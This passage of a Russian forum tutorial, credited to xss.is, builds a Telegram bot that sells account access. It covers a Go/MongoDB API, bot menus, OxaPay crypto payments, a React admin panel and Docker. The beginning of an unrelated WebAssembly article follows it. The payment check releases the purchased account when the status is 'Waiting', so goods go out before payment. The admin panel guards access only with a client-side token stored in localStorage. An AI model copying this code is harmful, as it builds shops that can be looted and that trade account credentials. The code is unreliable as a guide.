"go.mongodb.org/mongo-driver/mongo"
)
type CatService struct {
db *mongo.Database
}
func NewCatService(db *mongo.Database) *CatService {
return &CatService{db: db}
}
// 1
func (s *CatService) CreateCategory(ctx context.Context, name string) error {
existingCategory := &models.Category{}
err := s.db.Collection("items").FindOne(ctx, bson.M{"categoryName": name}).Decode(existingCategory)
if err == nil {
return errors.New("category already exists")
} else if err != mongo.ErrNoDocuments {
return err
}
_, err = s.db.Collection("items").InsertOne(ctx, models.Category{CategoryName: name})
return err
}
// 2
func (s *CatService) CreateCategories(ctx context.Context, names []string) ([]string, error) {
var newCategories []string
for _, name := range names {
existingCategory := &models.Category{}
err := s.db.Collection("items").FindOne(ctx, bson.M{"categoryName": name}).Decode(existingCategory)
if err == mongo.ErrNoDocuments {
_, err := s.db.Collection("items").InsertOne(ctx, models.Category{CategoryName: name})
if err != nil {
return nil, err
}
newCategories = append(newCategories, name)
} else if err != nil {
return nil, err
}
}
return newCategories, nil
}
// 3
func (s *CatService) GetCategories(ctx context.Context) ([]models.Category, error) {
cursor, err := s.db.Collection("items").Find(ctx, bson.D{})
if err != nil {
return nil, err
}
defer cursor.Close(ctx)
var cats []models.Category
if err := cursor.All(ctx, &cats); err != nil {
return nil, err
}
return cats, nil
}
// 4
func (s *CatService) UpdateCategoryName(ctx context.Context, name, newName string) error {
update := bson.M{"$set": bson.M{"categoryName": newName}}
result, err := s.db.Collection("items").UpdateOne(ctx, bson.M{"categoryName": name}, update)
if err != nil {
return errors.New("failed to update category: " + err.Error())
}
if result.MatchedCount == 0 {
return errors.New("category '" + name + "' does not exist")
}
return nil
}
// 5
func (s *CatService) DeleteCategories(ctx context.Context, name string) error {
result, err := s.db.Collection("items").DeleteOne(ctx, bson.M{"categoryName": name})
if err != nil {
return err
}
if result.DeletedCount == 0 {
return errors.New("category does not exist")
}
return nil
}
Переходим к контроллеру. Логика в файле cat_controller.go аналогична логике авторизации, а функции соответствуют функциям сервиса.
C-like:Copy to clipboard
package controllers
import (
"apirtgbot/models"
"apirtgbot/services"
"context"
"errors"
"net/http"
"github.com/gin-gonic/gin"
"go.mongodb.org/mongo-driver/mongo"
)
type CatController struct {
service *services.CatService
}
func NewCatController(service *services.CatService) *CatController {
return &CatController{service: service}
}
func (ctrl *CatController) CreateCategory(c *gin.Context) {
var category models.Category
if err := c.BindJSON(&category); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := ctrl.service.CreateCategory(context.Background(), category.CategoryName); err != nil {
if errors.Is(err, mongo.ErrNoDocuments) {
c.JSON(http.StatusConflict, gin.H{"error": "Category alredy exists"})
} else {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
}
return
}
c.JSON(http.StatusOK, gin.H{"message": "Category added successfully"})
}
func (ctrl *CatController) CreateCategories(c *gin.Context) {
var categories []models.Category
if err := c.BindJSON(&categories); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
var names []string
for _, cat := range categories {
names = append(names, cat.CategoryName)
}
newCategories, err := ctrl.service.CreateCategories(c.Request.Context(), names)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"message": "Categories added successfully", "newCategories": newCategories})
}
func (ctrl *CatController) GetCategories(c *gin.Context) {
cats, err := ctrl.service.GetCategories(context.Background())
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, cats)
}
func (ctrl *CatController) UpdateCategoryName(c *gin.Context) {
var updateName models.UpdateCategoryName
if err := c.BindJSON(&updateName); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := ctrl.service.UpdateCategoryName(context.Background(), updateName.CategoryName, updateName.NewName); err != nil {
if errors.Is(err, mongo.ErrNoDocuments) {
c.JSON(http.StatusNotFound, gin.H{"error": "Category not found"})
} else {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
}
return
}
c.JSON(http.StatusOK, gin.H{"message": "Category updated successfully"})
}
func (ctrl *CatController) DeleteCategories(c *gin.Context) {
var category models.Category
if err := c.BindJSON(&category); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := ctrl.service.DeleteCategories(context.Background(), category.CategoryName); err != nil {
if errors.Is(err, mongo.ErrNoDocuments) {
c.JSON(http.StatusConflict, gin.H{"error": "Category do not exists"})
} else {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
}
return
}
c.JSON(http.StatusOK, gin.H{"message": "Category deleted successfully"})
}
В файле cat_routes.go определяем необходимые маршруты.
C-like:Copy to clipboard
func SetupCatRoutes(router *gin.Engine, service *services.CatService) {
controller := controllers.NewCatController(service)
router.POST("/create/cat", middleware.AuthMiddleware(), controller.CreateCategory)
router.POST("/create/cats", middleware.AuthMiddleware(), controller.CreateCategories)
router.GET("/get/cats", middleware.AuthMiddleware(), controller.GetCategories)
router.PUT("/update/name/cat", middleware.AuthMiddleware(), controller.UpdateCategoryName)
router.DELETE("/delete/cat", middleware.AuthMiddleware(), controller.DeleteCategories)
}
Вносим изменения в main.go.
C-like:Copy to clipboard
db := config.Client.Database("MasterDB")
authService := services.NewAuthService(db)
catService := services.NewCatService(db)
router := gin.Default()
routes.SetupAuthRoutes(router, authService)
routes.SetupCatRoutes(router, catService)
router.Run(":8083")
Открываем Postman и по адресу localhost:8083/create/cat добавляем категорию "Roblox".
Далее я добавлю маршруты для подкатегорий (аккаунты с определенными особенностями). У них будут название, описание, фотография в виде ссылки, цена и количество. Для каждого параметра будет отдельный маршрут для обновления. В целом код написан так, что можно легко расширить количество категорий и при необходимости добавить новые. Я добавил несколько подкатегорий (пустой, топовый, мощный аккаунт) с разной ценой, описанием и фотографией. Процесс написания кода будет точно таким же, поэтому я не стану подробно его рассматривать. Весь исходный код прикреплен к статье на форуме, и вы сможете ознакомиться с ним самостоятельно.
Что касается фотографий, для их хранения можно использовать сервер S3, но это не обязательно — можно брать ссылки из интернета.
Также я добавлю сами аккаунты, у которых будут следующие поля: ID, содержимое (непосредственно доступ) и дата добавления (для этого подключим библиотеку time). Для создания ID внутри коллекций (MongoDB создает внутренний _id на уровне записи в коллекцию, но не на уровне вложенности) подключим библиотеку github.com/google/uuid. ID будут нужны для обновления.
Итак, в нашей базе данных уже есть категория (Roblox), подкатегории (типы аккаунтов) и товары (сами аккаунты). Возвращаемся к Telegram-боту!
Отображение в Telegram-боте
Перед тем как перейти непосредственно к реализации Telegram-бота, важно понять один момент: в Telegram-ботах существует несколько способов взаимодействия с пользователями — команды, кнопки и клавиатура. Необходимо понимать, как мы хотим работать; эти способы взаимодействия можно комбинировать между собой или строить исключительно на одном из них.
Разница между кнопками и клавиатурой в том, что первые отправляются при каждом новом сообщении бота, а вторая как бы существует в рамках одного сообщения. Если всё ещё не понятно, попробуйте поизучать ботов самостоятельно, имея в голове эту разницу, и вы достаточно быстро увидите её на практике.
В папке config создадим файл message.go, в котором будем хранить все сообщения бота для пользователя. Добавим приветственное сообщение. В будущем все остальные сообщения буду добавлять сюда.
C-like:Copy to clipboard
package config
var HelloMessage = "👋 Выберите категорию:"
В файле .env добавим строку подключения к базе данных, а в файле init.go напишем функцию для ее получения.
C-like:Copy to clipboard
func GetMongoURL() string {
errLoad := godotenv.Load()
if errLoad != nil {
log.Fatal("Error loading .env file")
}
mongoURI := os.Getenv("MONGO")
return mongoURI
}
Создадим три папки: models, handlers, db. В первую очередь создадим два файла в папке db. В файле db.go будет код для подключения к базе данных (очень похожий код был в API).
C-like:Copy to clipboard
package db
import (
"context"
"log"
"go.mongodb.org/mongo-driver/mongo"
"go.mongodb.org/mongo-driver/mongo/options"
)
var client *mongo.Client
func InitMongoClient(uri string) {
var err error
client, err = mongo.Connect(context.TODO(), options.Client().ApplyURI(uri))
if err != nil {
log.Fatalf("Failed to connect to MongoDB: %v", err)
}
}
Также напишем код для получения списка категорий из базы данных.
C-like:Copy to clipboard
package db
import (
"context"
"go.mongodb.org/mongo-driver/bson"
)
func GetCategories(ctx context.Context) ([]string, error) {
collection := client.Database("MasterDB").Collection("items")
cursor, err := collection.Find(ctx, bson.D{})
if err != nil {
return nil, err
}
defer cursor.Close(ctx)
var categories []string
for cursor.Next(ctx) {
var result map[string]interface{}
if err := cursor.Decode(&result); err != nil {
return nil, err
}
if categoryName, ok := result["categoryName"].(string); ok {
categories = append(categories, categoryName)
}
}
return categories, nil
}
Изменим код main.go:
C-like:Copy to clipboard
// 1
func handleUpdates() {
// 2
offset := 0
// 3
for {
// 4
url := fmt.Sprintf("https://api.telegram.org/bot%s/getUpdates?offset=%d", config.GetTelegramBotToken(), offset)
resp, err := http.Get(url)
if err != nil {
log.Printf("Failed to get updates: %v", err)
time.Sleep(5 * time.Second)
continue
}
// 5
if err := json.NewDecoder(resp.Body).Decode(&models.UpdatesResponse); err != nil {
log.Printf("Failed to decode response: %v", err)
resp.Body.Close()
time.Sleep(5 * time.Second)
continue
}
resp.Body.Close()
// 6
for _, update := range models.UpdatesResponse.Result {
offset = int(update.UpdateID) + 1
// 7
if update.Message != nil {
chatID := update.Message.Chat.ID
if update.Message.Text == "/start" {
handlers.HandleStartMessage(chatID)
}
// 8
} else if update.CallbackQuery != nil {
callbackID := update.CallbackQuery.ID
data := update.CallbackQuery.Data
chatID := update.CallbackQuery.From.ID
handlers.HandleCallbackQuery(callbackID, data, chatID)
}
}
}
}
func main() {
if config.GetTelegramBotToken() == "" {
log.Fatal("Environment variables TELEGRAM_BOT_TOKEN not set")
}
telegram.InitBotToken(config.GetTelegramBotToken())
// 9
db.InitMongoClient(config.GetMongoURL())
handleUpdates()
}
Структура данных UpdatesResponse используется для хранения и обработки ответа от Telegram API на запрос обновлений через метод getUpdates. Она соответствует JSON-ответу, который приходит от Telegram.
C-like:Copy to clipboard
package models
var UpdatesResponse struct {
Result []struct {
UpdateID int64 `json:"update_id"`
Message *struct {
Chat struct {
ID int64 `json:"id"`
} `json:"chat"`
Text string `json:"text"`
} `json:"message,omitempty"`
CallbackQuery *struct {
ID string `json:"id"`
Data string `json:"data"`
From struct {
ID int64 `json:"id"`
} `json:"from"`
} `json:"callback_query,omitempty"`
} `json:"result"`
}
Реализуем несколько функций в файле telegram.go:
C-like:Copy to clipboard
// 1
func SendMessage(chatID int64, text string, replyMarkup interface{}) error {
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", botToken)
body := map[string]interface{}{
"chat_id": chatID,
"text": text,
"reply_markup": replyMarkup,
"parse_mode": "HTML",
}
buf := new(bytes.Buffer)
if err := json.NewEncoder(buf).Encode(body); err != nil {
return err
}
_, err := http.Post(url, "application/json", buf)
return err
}
// 2
func SendPhoto(chatID int64, photoURL string, caption string, replyMarkup interface{}) error {
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendPhoto", botToken)
body := map[string]interface{}{
"chat_id": chatID,
"photo": photoURL,
"caption": caption,
"reply_markup": replyMarkup,
"parse_mode": "HTML",
}
buf := new(bytes.Buffer)
if err := json.NewEncoder(buf).Encode(body); err != nil {
return err
}
_, err := http.Post(url, "application/json", buf)
return err
}
// 3
func AnswerCallbackQuery(callbackQueryID string) error {
url := fmt.Sprintf("https://api.telegram.org/bot%s/answerCallbackQuery", botToken)
body := map[string]interface{}{
"callback_query_id": callbackQueryID,
}
buf := new(bytes.Buffer)
if err := json.NewEncoder(buf).Encode(body); err != nil {
return err
}
_, err := http.Post(url, "application/json", buf)
return err
}
Переходим к хендлерам. В файле showCats.go реализуем функцию HandleStartMessage(), предназначенную для обработки команды /start (эта команда вызывается при первом контакте с ботом).
C-like:Copy to clipboard
func HandleStartMessage(chatID int64) {
categories, err := db.GetCategories(context.Background())
if err != nil {
log.Printf("Failed to get categories: %v", err)
return
}
inlineButtons := createInlineButtons(categories, "category_")
replyMarkup := map[string]interface{}{
"inline_keyboard": inlineButtons,
}
if err := telegram.SendMessage(chatID, config.HelloMessage, replyMarkup); err != nil {
log.Printf("Failed to send message: %v", err)
}
}
Функция обращается к базе данных для получения списка категорий, после чего вызывается функция createInlineButtons, которая на основе списка категорий формирует массив кнопок. replyMarkup — это объект, который содержит клавиатуру с инлайн-кнопками. Он используется для отправки кнопок вместе с сообщением. Отправляем приветственное сообщение и кнопки.
В файле handlers.go реализуем функцию createInlineButtons для создания массива инлайн-кнопок для использования в сообщениях бота, а также HandleCallbackQuery для обработки Callback-запросов.
C-like:Copy to clipboard
func HandleCallbackQuery(callbackID, data string, chatID int64) {
telegram.AnswerCallbackQuery(callbackID)
}
func createInlineButtons(items []string, prefix string) [][]map[string]interface{} {
var inlineButtons [][]map[string]interface{}
for _, item := range items {
inlineButtons = append(inlineButtons, []map[string]interface{}{
{
"text": item,
"callback_data": prefix + item,
},
})
}
return inlineButtons
}
Отображение подкатегорий
Далее флоу работы будет очень простым. Первым делом мы пишем обращение к базе данных. Нам необходимо получить подкатегории для категорий. Реализуем функционал в файле getSubCats.go.
C-like:Copy to clipboard
func GetSubCategories(ctx context.Context, categoryName string) ([]string, error) {
collection := client.Database("MasterDB").Collection("items")
filter := bson.M{"categoryName": categoryName}
var result struct {
SubCategories []struct {
SubCategoryName string `bson:"subCategoryName"`
} `bson:"subCategories"`
}
err := collection.FindOne(ctx, filter).Decode(&result)
if err != nil {
return nil, err
}
var subCategories []string
for _, subcat := range result.SubCategories {
subCategories = append(subCategories, subcat.SubCategoryName)
}
return subCategories, nil
}
Функция GetSubCategories делает запрос к коллекции items в MongoDB для получения подкатегорий на основе названия категории. Она декодирует результат запроса в структуру данных, а затем преобразует список подкатегорий в массив строк. В случае успеха возвращает массив строк с подкатегориями, в случае ошибки — возвращает nil и ошибку.
Создадим файл showSubCats.go в хендлерах.
C-like:Copy to clipboard
func handleCategorySelection(chatID int64, categoryName string) {
subcategories, err := db.GetSubCategories(context.Background(), categoryName)
if err != nil {
log.Printf("Failed to get subcategories: %v", err)
return
}
inlineButtons := createInlineButtons(subcategories, "subcategory_"+categoryName+"_")
inlineButtons = append(inlineButtons, []map[string]interface{}{
{
"text": "⬅️ Назад",
"callback_data": "back_to_categories",
},
})
replyMarkup := map[string]interface{}{
"inline_keyboard": inlineButtons,
}
if err := telegram.SendMessage(chatID, config.SubcatMessage, replyMarkup); err != nil {
log.Printf("Failed to send message: %v", err)
}
}
func handleBackToCategories(chatID int64) {
HandleStartMessage(chatID)
}
handleCategorySelection: Получает подкатегории для выбранной категории из базы данных. Создает инлайн-кнопки для подкатегорий и добавляет кнопку "Назад". Отправляет сообщение с подкатегориями и кнопками пользователю.
handleBackToCategories: Позволяет пользователю вернуться к начальному меню (выбору категорий) с помощью вызова функции HandleStartMessage.
Далее мы изменим код в файле handlers.go. По сути, мы связываем функцию на основе данных коллбека. Коллбек — это как бы команда, но происходящая в рамках одной команды. Следовательно, существует коллбек как команда, и мы можем передавать данные между вызовами коллбеков. Это становится более понятно на практике после написания нескольких команд.
C-like:Copy to clipboard
func HandleCallbackQuery(callbackID, data string, chatID int64) {
switch {
case data == "back_to_categories":
handleBackToCategories(chatID)
case strings.HasPrefix(data, "category_"):
categoryName := strings.TrimPrefix(data, "category_")
handleCategorySelection(chatID, categoryName)
}
telegram.AnswerCallbackQuery(callbackID)
}
Используется конструкция switch для определения, какое действие выполнить в зависимости от значения data. Если пользователь нажал кнопку "Назад", вызывается функция handleBackToCategories(chatID), которая возвращает пользователя к выбору категорий. Если данные начинаются с префикса category_, это означает, что пользователь выбрал определенную категорию. TrimPrefix используется для извлечения названия категории, удаляя префикс. После этого вызывается handleCategorySelection для обработки выбора подкатегорий этой категории.
После нажатия на кнопку категории будут отображаться подробности товара и возможность выбора способа оплаты. После успешной оплаты мы получаем товар по ID и выдаем его пользователю. Я не буду останавливаться на этих действиях, поскольку флоу их внедрения аналогичен предыдущим шагам. Перейдем к внедрению оплаты. Исходный код с этим функционалом доступен в проекте.
Подключение платежного шлюза
У Telegram есть платежные системы, которые поддерживаются ими по умолчанию — Bot Payments API, но вы также можете подключить любую другую платежную систему.
Например, мы хотим подключить оплату в криптовалюте. Какие шаги необходимо предпринять?
Первым делом необходимо определиться, хотим ли мы использовать внутренний баланс, или получать оплату по факту продажи товара, не используя внутренний баланс. Я не буду использовать внутренний баланс; впрочем, у меня нет доводов против, любые варианты имеют право на жизнь.
Во-первых, мы можем самостоятельно реализовать такую функцию. Поскольку блокчейн публичен, мы можем, например, выдавать каждому пользователю свой кошелек и просто проверять блокчейн на баланс кошелька (если блокчейн публичен, если нет — то проверять баланс кошелька). Минус этого подхода в том, что мы нагенерируем много кошельков. Теоретически, мы можем генерировать адреса на основе мастер-адреса, но на практике я это не реализовывал. Если генерировать множество кошельков, потом придется переводить балансы на мастер- кошелек, потратив часть на комиссию. Либо мы можем использовать один кошелек, выдавать его пользователю и просто проверять хеш-ссылку транзакций от пользователя, но это открывает очевидную уязвимость: если кто-то поймет логику, он сможет парсить блокчейн, сопоставлять транзакцию с суммой товара и, по сути, перехватывать ее, выдавая себя за пользователя, который действительно сделал оплату (на самом деле, для небольших проектов это маловероятно, на мой взгляд).
Но мы можем обратиться к существующим платежным шлюзам. В этом контексте существуют несколько терминов, которые могут вызвать путаницу, а именно эквайринг, мерчант и процессинг. Эквайринг — это процесс, который позволяет мерчантам (продавцам) принимать платежи. Вы можете зарегистрироваться у криптоэквайера и начать получать платежи. Мерчант — это лицо, которое принимает оплату за товары (продавец). Процессинг относится к обработке транзакций. Процессинговые компании обеспечивают инфраструктуру для проведения транзакций. Эквайринг и процессинг могут пересекаться и выполняться одной и той же компанией, но они не являются идентичными понятиями.
В качестве такого я выберу OxaPay. Можно выбрать что угодно; я нашел эту компанию в Google и понятия не имею о ее надежности и так далее. Я ни в коем случае не призываю думать о ней что-либо хорошее или плохое. В любом случае, что бы вы ни выбрали, вам нужно пройти процесс регистрации, после которого вы получите тот или иной приватный ключ, который необходимо добавить в .env и обрабатывать так же, как и все переменные в файле до этого. Далее находите документацию API, открываете Postman и начинаете тестировать. Пример для сервиса — OxaPay.
Давайте покажу на примере.
Создадим файл createCryptoPayment.go в папке handlers. Этот код будет выполняться при выборе оплаты в криптовалюте. При нажатии на кнопку оплаты должна создаться ссылка для оплаты, которая будет отправлена пользователю.
C-like:Copy to clipboard
// 1
type CryptoPaymentResponse struct {
Result int `json:"result"`
Message string `json:"message"`
TrackID string `json:"trackId"`
ExpiredAt int64 `json:"expiredAt"`
PayLink string `json:"payLink"`
}
func handleCryptoPayment(chatID int64, categoryName, subCategoryName string) {
// 2
subCategory, err := db.GetSubCategoryDetails(context.Background(), categoryName, subCategoryName)
if err != nil {
log.Printf("Failed to get subcategory details: %v", err)
replyMarkup := map[string]interface{}{
"inline_keyboard": [][]map[string]interface{}{
{
{
"text": "⬅️ Назад",
"callback_data": "back_" + categoryName,
},
},
},
}
if err := telegram.SendMessage(chatID, config.ItemsNotFound, replyMarkup); err != nil {
log.Printf("Failed to send message: %v", err)
}
return
}
// 3
itemID, err := db.GetAvailableItemID(context.Background(), categoryName, subCategoryName)
if err != nil {
log.Printf("Failed to get itemID: %v", err)
replyMarkup := map[string]interface{}{
"inline_keyboard": [][]map[string]interface{}{
{
{
"text": "⬅️ Назад",
"callback_data": "back_" + categoryName,
},
},
},
}
if err := telegram.SendMessage(chatID, config.ItemsNotFound, replyMarkup); err != nil {
log.Printf("Failed to send message: %v", err)
}
return
}
// 4
price := subCategory.Price
token := config.GetCryptoMerchantToken()
// 5
paymentResponse, err := sendCryptoPaymentRequest(token, price)
if err != nil {
log.Printf("Failed to send crypto payment request: %v", err)
replyMarkup := map[string]interface{}{
"inline_keyboard": [][]map[string]interface{}{
{
{
"text": "⬅️ Назад",
"callback_data": "back_" + categoryName,
},
},
},
}
if err := telegram.SendMessage(chatID, config.ItemsNotFound, replyMarkup); err != nil {
log.Printf("Failed to send message: %v", err)
}
return
}
// 6
message := config.CryptoPaymentMsg(subCategoryName, price, paymentResponse.PayLink)
replyMarkup := map[string]interface{}{
"inline_keyboard": [][]map[string]interface{}{
{
{
"text": "Проверить оплату",
"callback_data": "checkcrypto_" + paymentResponse.TrackID + "_" + itemID,
},
},
{
{
"text": "Отменить заказ",
"callback_data": "cancelcrypto_" + subCategoryName,
},
},
},
}
if err := telegram.SendMessage(chatID, message, replyMarkup); err != nil {
log.Printf("Failed to send message: %v", err)
}
}
// 7
func sendCryptoPaymentRequest(token string, price float64) (*CryptoPaymentResponse, error) {
// 8
requestBody := map[string]interface{}{
"merchant": token,
"amount": price,
}
body, err := json.Marshal(requestBody)
if err != nil {
return nil, fmt.Errorf("failed to marshal request body: %w", err)
}
// 9
req, err := http.NewRequest("POST", "https://api.oxapay.com/merchants/request", bytes.NewBuffer(body))
if err != nil {
return nil, fmt.Errorf("failed to create request: %w", err)
}
req.Header.Set("Content-Type", "application/json")
// 10
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return nil, fmt.Errorf("failed to send request: %w", err)
}
defer resp.Body.Close()
// 11
var paymentResponse CryptoPaymentResponse
if err := json.NewDecoder(resp.Body).Decode(&paymentResponse); err != nil {
return nil, fmt.Errorf("failed to decode response: %w", err)
}
// 12
if paymentResponse.Result != 100 {
return nil, fmt.Errorf("payment request failed: %s", paymentResponse.Message)
}
return &paymentResponse, nil
}
Теперь напишем логику проверки платежа в файле checkCryptoPayment.go:
C-like:Copy to clipboard
func handleCheckCryptoPayment(chatID int64, payID string, itemID string) {
token := config.GetCryptoMerchantToken()
requestBody := map[string]interface{}{
"merchant": token,
"trackId": payID,
}
body, err := json.Marshal(requestBody)
if err != nil {
log.Printf("Failed to marshal request body: %v", err)
return
}
// 1
req, err := http.NewRequest("POST", "https://api.oxapay.com/merchants/inquiry", bytes.NewBuffer(body))
if err != nil {
log.Printf("Failed to create request: %v", err)
return
}
req.Header.Set("Content-Type", "application/json")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
log.Printf("Failed to send request: %v", err)
return
}
defer resp.Body.Close()
var paymentResponse models.CryptoPaymentStatusResponse
if err := json.NewDecoder(resp.Body).Decode(&paymentResponse); err != nil {
log.Printf("Failed to decode response: %v", err)
return
}
// 2
var message string
var replyMarkup map[string]interface{}
// 3
if paymentResponse.Status == "Waiting" {
ctx := context.TODO()
itemContent, err := db.GetItemAndRemove(ctx, itemID)
if err != nil {
log.Printf("Failed to get item content: %v", err)
return
}
message = fmt.Sprintf("Аккаунт - %s. Спасибо за покупку!", itemContent)
replyMarkup = map[string]interface{}{
"inline_keyboard": [][]map[string]interface{}{
{
},
},
}
} else {
message = "Ваша оплата еще не поступила, проверьте еще раз через несколько минут"
replyMarkup = map[string]interface{}{
"inline_keyboard": [][]map[string]interface{}{
{
{
"text": "Проверить оплату",
"callback_data": "checkcrypto_" + payID + "_" + itemID,
},
},
},
}
}
if err := telegram.SendMessage(chatID, message, replyMarkup); err != nil {
log.Printf("Failed to send message: %v", err)
}
}
Подробности работы API (например, проверка по коду 100 или другим ответам) доступны в документации API. В любом случае вы должны перепроверить все самостоятельно. Если что-то не получается, можно обратиться в поддержку сервиса. Они, скорее всего, помогут, так как заинтересованы в интеграции своего сервиса, но не стоит злоупотреблять их помощью.
Каждое действие мы прописываем в хендлере. Вот как он будет выглядеть в итоге.
C-like:Copy to clipboard
func HandleCallbackQuery(callbackID, data string, chatID int64) {
switch {
case data == "back_to_categories":
handleBackToCategories(chatID)
case strings.HasPrefix(data, "category_"):
categoryName := strings.TrimPrefix(data, "category_")
handleCategorySelection(chatID, categoryName)
case strings.HasPrefix(data, "subcategory_"):
parts := strings.SplitN(data, "_", 3)
if len(parts) == 3 {
categoryName := parts[1]
subCategoryName := parts[2]
handleSubcategorySelection(chatID, categoryName, subCategoryName)
}
case strings.HasPrefix(data, "back_"):
categoryName := strings.TrimPrefix(data, "back_")
handleBackFromSubcategory(chatID, categoryName)
case strings.HasPrefix(data, "pay_"):
remainingData := strings.TrimPrefix(data, "pay_")
parts := strings.SplitN(remainingData, "_", 2)
if len(parts) == 2 {
categoryName := parts[0]
subCategoryName := parts[1]
handlePaySelection(chatID, categoryName, subCategoryName) }
case strings.HasPrefix(data, "crypto_"):
remainingData := strings.TrimPrefix(data, "crypto_")
parts := strings.SplitN(remainingData, "_", 2)
if len(parts) == 2 {
categoryName := parts[0]
subCategoryName := parts[1]
handleCryptoPayment(chatID, categoryName, subCategoryName) }
case strings.HasPrefix(data, "checkcrypto_"):
remainingData := strings.TrimPrefix(data, "checkcrypto_")
parts := strings.SplitN(remainingData, "_", 2)
if len(parts) == 2 {
payID := parts[0]
itemID := parts[1]
handleCheckCryptoPayment(chatID, payID, itemID) }
}
telegram.AnswerCallbackQuery(callbackID)
}
Вот как в итоге выглядит бот.
Панель управления
Панель управления может включать в себя множество функций. В первую очередь это статистика продаж и взаимодействия с ботом. Всю эту информацию удобно мониторить с панели управления. Во вторую очередь — это функциональность, связанная с управлением товарами.
JavaScript не был бы JavaScript'ом, если бы не существовало библиотеки, которая уже как-то там решила нужную задачу. В данном случае такой библиотекой является React-Admin - The Open-Source Framework For B2B Apps. Можно посмотреть, как может выглядеть панель управления на её основе и создать что-то своё.
Я не буду писать полноценную админ-панель, так как статья тогда превратилась бы в книгу, поэтому реализуем лишь ограниченный функционал: аутентификацию и добавление новой категории товара.
Напишем код для файла Login.jsx (первой страницы приложения). Установим axios, а CSS-стили вынесем в отдельный файл.
JavaScript:Copy to clipboard
import React, { useState } from 'react';
import axios from 'axios';
import './Login.css';
const Login = () => {
// 1
const [name, setName] = useState('');
const [password, setPassword] = useState('');
const [error, setError] = useState('');
// 2
const handleSubmit = async (e) => {
e.preventDefault();
try {
const response = await axios.post('http://localhost:8083/login', {
name,
password,
});
const { token } = response.data;
localStorage.setItem('token', token);
window.location.href = '/admin';
} catch (err) {
setError('Неправильное имя пользователя или пароль');
}
};
return (
// 3
<div className="login-container">
<form className="login-form" onSubmit={handleSubmit}>
<h2>Sign In</h2>
<input
type="text"
placeholder="Username"
value={name}
onChange={(e) => setName(e.target.value)}
required
/>
<input
type="password"
placeholder="Password"
value={password}
onChange={(e) => setPassword(e.target.value)}
required
/>
<button type="submit">Login</button>
{error && <p className="error">{error}</p>}
</form>
</div>
);
};
export default Login;
Код компонента AdminPanel.jsx
JavaScript:Copy to clipboard
const AdminPanel = () => {
const navigate = useNavigate();
const [categoryName, setCategoryName] = useState('');
const [message, setMessage] = useState('');
// 1
useEffect(() => {
const token = localStorage.getItem('token');
if (!token) {
navigate('/');
}
}, [navigate]);
// 2
const handleAddCategory = async () => {
const token = localStorage.getItem('token');
try {
const response = await axios.post(
'http://localhost:8083/create/cat',
{ categoryName },
{
headers: {
Authorization: `${token}`,
},
}
);
setMessage(`Category "${categoryName}" added successfully!`);
setCategoryName('');
} catch (error) {
setMessage('Failed to add category. Please try again.');
}
};
return (
<div className="admin-panel-container">
<h1 className="welcome-message">Welcome to Admin Panel</h1>
<div className="add-category-section">
<input
type="text"
placeholder="Category Name"
value={categoryName}
onChange={(e) => setCategoryName(e.target.value)}
className="category-input"
/>
<button onClick={handleAddCategory} className="add-category-button">
Add Category
</button>
</div>
{message && <p className="response-message">{message}</p>}
</div>
);
};
export default AdminPanel;
Подключим библиотеку react-router-dom для создания роутинга приложения — код в файле App.jsx.
JavaScript:Copy to clipboard
import React from 'react';
import { BrowserRouter as Router, Route, Routes } from 'react-router-dom';
import Login from './Login';
import AdminPanel from './AdminPanel';
function App() {
return (
<Router>
<Routes>
<Route path="/" element={<Login />} />
<Route path="/admin" element={<AdminPanel />} />
</Routes>
</Router>
);
}
export default App;
**Деплой
Docker**
Наши сущности сейчас разбросаны по папкам, но как выполнить деплой в Интернет? Для этого потребуется VPS-сервер и подключение к нему по SSH. После этого достаточно установить Docker.
Docker всё ещё может работать нестабильно с Windows. Если это ваша среда разработки, могут возникнуть некоторые проблемы (например, может слететь WSL). Однако в целом процесс разработки следующий. Для каждой папки (сущности) пишется Dockerfile. Dockerfile — это текстовый файл, содержащий инструкции для создания Docker-образа. По сути, это скрипт, который определяет, как должно быть упаковано приложение в контейнер. В Dockerfile описываются среда выполнения (например, операционная система, библиотеки, зависимости) и шаги по настройке этой среды. После этого необходимо написать Docker Compose.
Docker Compose — это инструмент для определения и запуска многоконтейнерных приложений с использованием Docker. Вместо того чтобы запускать каждый контейнер отдельно и вручную задавать параметры, такие как порты, тома или переменные окружения, Docker Compose позволяет описать все необходимые контейнеры, их взаимодействие и параметры в одном файле — docker-compose.yml.
Примеры этих файлов можно найти в проекте!
Трям! Пока!
АвторPatr1ck
Источникhttps://xss.is
Однажды томным осенним вечером непоcтижимая сила интернета занесла меня на официальный сайт проекта Wasmer. Вокруг мелькали громкие лозунги в стиле "пиши на чем хочешь - запускай где хочешь", и с разных сторон выглядывали логотипы и названия крупных брендов-партнеров.
На первый взгляд проект показался настолько интересным, что я недолго думая запустил установку, заварил чаю и пошел читать что это за зверь такой - WebAssembly. По иронии судьбы, как JavaScript имеет мало общего с Java, так и WebAssembly - не совсем про веб и не совсем ассемблер. Но давайте обо всем по порядку.
WebAssembly, или как его ласково называют Wasm, - это низкоуровневый язык программирования. "Представь себе язык, который может работать везде - от браузера твоей бабушки до сервера в дата-центре посреди пустыни - и при этом шустрит как ракета" - какой-то такой посыл встретил меня на сайте, ничего толком как всегда не объясняя.
По сути же, Wasm - это бинарный формат инструкций для виртуальной машины. Главная фишка Wasm в том, что он позволяет компилировать код с языков типа C, C++ или Rust прямо для выполнения в браузере. И при этом работает он почти так же быстро, как нативный код. Как следствие, ты можешь запустить в браузере код, который раньше мог работать только на десктопе (или запустить код которым ты не очень хотел бы отсвечивать на фронте).
